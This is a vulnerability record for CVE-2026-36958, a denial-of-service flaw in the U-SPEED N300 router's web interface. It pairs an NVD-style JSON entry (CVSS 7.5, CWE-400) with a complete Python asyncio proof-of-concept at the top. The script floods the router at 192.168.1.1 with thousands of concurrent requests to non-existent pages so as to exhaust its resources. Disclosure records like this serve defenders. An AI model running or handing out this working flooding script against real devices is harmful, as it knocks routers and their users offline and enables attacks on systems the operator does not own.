CVE-2026-36958

import asyncio import aiohttp # Target configuration TARGET_URL = "http://192.168.1.1/" # Total number of requests to send TOTAL_REQUESTS = 5000 # Concurrency level CONCURRENCY = 100 async def send_request(session, i): try: # Target a non-existent endpoint to potentially trigger heavier processing paths url = f"{TARGET_URL}/vuln_test_{i}.html" async with session.get(url, timeout=aiohttp.ClientTimeout(total=5)) as response: await response.read() except Exception: # Ignore connection errors or timeouts as the goal is resource exhaustion pass async def main(): print(f"Starting DoS PoC against {TARGET_URL}") connector = aiohttp.TCPConnector(limit=0, ttl_dns_cache=300) async with aiohttp.ClientSession(connector=connector) as session: tasks = [] for i in range(TOTAL_REQUESTS): task = asyncio.create_task(send_request(session, i)) tasks.append(task) # Control concurrency if len(tasks) >= CONCURRENCY: await asyncio.gather(*tasks) tasks = [] if tasks: await asyncio.gather(*tasks) print("PoC execution finished.") if __name__ == "__main__": asyncio.run(main())

{"cve": {"id": "CVE-2026-36958", "sourceIdentifier": "[email protected]", "published": "2026-04-30T15:16:22.963", "lastModified": "2026-05-05T03:00:49.310", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A denial-of-service vulnerability exists in the U-SPEED N300 V1.0.0 wireless router. By sending a large number of concurrent HTTP requests to random or non-existent endpoints on the web management interface, an attacker can exhaust system resources in the embedded Boa HTTP server. This causes the router web interface to become unresponsive and may require manual reboot to restore normal operation."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:u-speed:n300_firmware:1.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "CA1BC4D0-0B7E-4D7B-86CF-BDAF840BE683"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:u-speed:n300:-:*:*:*:*:*:*:*", "matchCriteriaId": "9353B74A-54EE-47D6-AE12-294C0668DDCB"}]}]}], "references": [{"url": "http://u-speed.com", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://github.com/kirubel-cve/CVE-2026-36958", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}